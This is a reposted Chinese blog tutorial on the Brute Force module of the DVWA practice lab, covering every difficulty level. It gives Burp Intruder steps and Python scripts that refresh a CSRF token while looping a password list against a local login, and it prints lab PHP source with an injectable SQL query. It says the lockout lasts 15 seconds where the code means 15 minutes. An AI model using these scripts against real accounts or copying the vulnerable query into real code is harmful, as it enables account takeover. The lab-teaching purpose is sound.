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dvwa靶场Brute Force（暴力破解）全难度教程（附代码分析）

建议使用owaspbwa靶场可以不用搭建dvwa以及其他常用靶场，省去搭建靶场的困扰，但是此靶机靶场较老，并不建议使用

owaspbwa下载地址： OWASP Broken Web Applications Project download | SourceForge.net

注：owaspbwa的本机用户名root密码owaspbwa，记得看看靶机的ip方便以后使用。dvwa的用户名和密码都为admin（owaspbwa中的dvwa是此，其他的用户名为admin密码为password）

暴力破解原理

利用抓包软件抓包，来不断对单个用户名穷举密码的操作

注：密码本和用户名本里面应当有所谓的用户名和密码

Brute Force（Security Level: low）

漏洞利用

打开burp对此网站抓包,用户和密码就是随便输入，只是为了抓包

将此数据包发送到intruder模块

这里会有几个标出来的字段，直接选择clear，选中需要爆破是username和password的值利用add添加（也可以直接爆破密码）（前提是要知道用户名建议直接admin）

选中paysloads模块，进行设置，直接在payload options选择load去添加字典，或者用add添加单个字段

点击右上角的start attack就行，等待一下就可以

通过status和length筛选可以看到密码

代码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

就是一个只实现了登入的代码，只是对密码进行md5加密，防止我们通过密码进行SQL注入（可以使用username进行SQL注入），可没有对帐号的登入尝试次数做限制。

Brute Force（Security Level: medium）

漏洞利用

与上一难度一样，但是需要设置时停

修改burp的resource pool模块(本模块是修改攻击速度）

按此配置就行，可以试试能不能更快爆破，只要大于网站要求请求时间就可

结果与上面一样（爆破会很慢的，就不放出来了）

代码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

这边的代码加上了一个，延迟两秒才能下一个，所以延长了爆破时间，怎加的是时间成本。

mysqli_real_escape_string(string,connection) ：函数会对字符串string中的特殊符号（\x00，\n，\r，\，‘，“，\x1a）进行转义，基本可以抵抗SQL注入

Brute Force（Security Level: high）

漏洞利用

建议看看token是否正常，建议用Linux

burp抓包

前面一样，修改options下的grep-extract和

找到token

先修改值，在单击refetch response

将payloads下的payload set 改为2

就可以攻击了

python脚本

python2.x脚本

from bs4 import BeautifulSoup
import urllib2
header={'Host':'127.0.0.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'cookie':'PHPSESSID=6oqhn9tsrs80rbf3h4cvjutnn6; security=high',
        'Connection':'close',
        'Upgrade-Insecure-Requests':'1'
        }
requrl="http://127.0.0.1/vulnerabilities/brute/"
 
def get_token(requrl,header):
    req=urllib2.Request(url=requrl,headers=header)
    response=urllib2.urlopen(req)
    print response.getcode(),
    the_page=response.read()
    print len(the_page)
    soup=BeautifulSoup(the_page,"html.parser")   #将返回的html页面解析为一个BeautifulSoup对象
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']               #获取用户的token
    return user_token
 
user_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):
    requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print i , 'admin' ,line.strip(),
    user_token=get_token(requrl,header)
    if(i==20):
        break

python3.x

from bs4 import BeautifulSoup
import requests
 
header={'Host':'127.0.0.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'cookie':'PHPSESSID=8p4kb7jc1df431lo6qe249quv2; security=high',
        'Connection':'close',
        'Upgrade-Insecure-Requests':'1'
        }
requrl="http://127.0.0.1/vulnerabilities/brute/"
 
def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print (response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"html.parser")
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']                   #获取用户的token
    return user_token
 
user_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):
    requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print (i , 'admin' ,line.strip(),end="  ")
    user_token=get_token(requrl,header)
    if(i==20):
        break

这个是参考的(2条消息) DVWA之Brute Force(暴力破解)_谢公子的博客-CSDN博客_dvwa brute force

这个自己跑下吧

代码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

前面的防护基础上加上了Anti-CSRF token来抵御CSRF的攻击，使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击。由于使用了Anti-CSRF token，每次服务器返回的登陆页面中都会包含一个随机的user_token的值，用户每次登录时都要将user_token一起提交。服务器收到请求后，会优先做token的检查，再进行sql查询。

Brute Force（Security Level: impossible）

代码分析

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在上一难度的基础上对用户的操作做了限制，当登入失败3此后，账号会锁住15s，同时采用了更为安全的PDO（PHP Data Object）机制防御sql注入，这里因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

标签： 安全 web安全 网络安全
本文转载自: https://blog.csdn.net/m0_73248913/article/details/128769294
版权归原作者 himobrinehacken 所有， 如有侵权，请联系我们删除。
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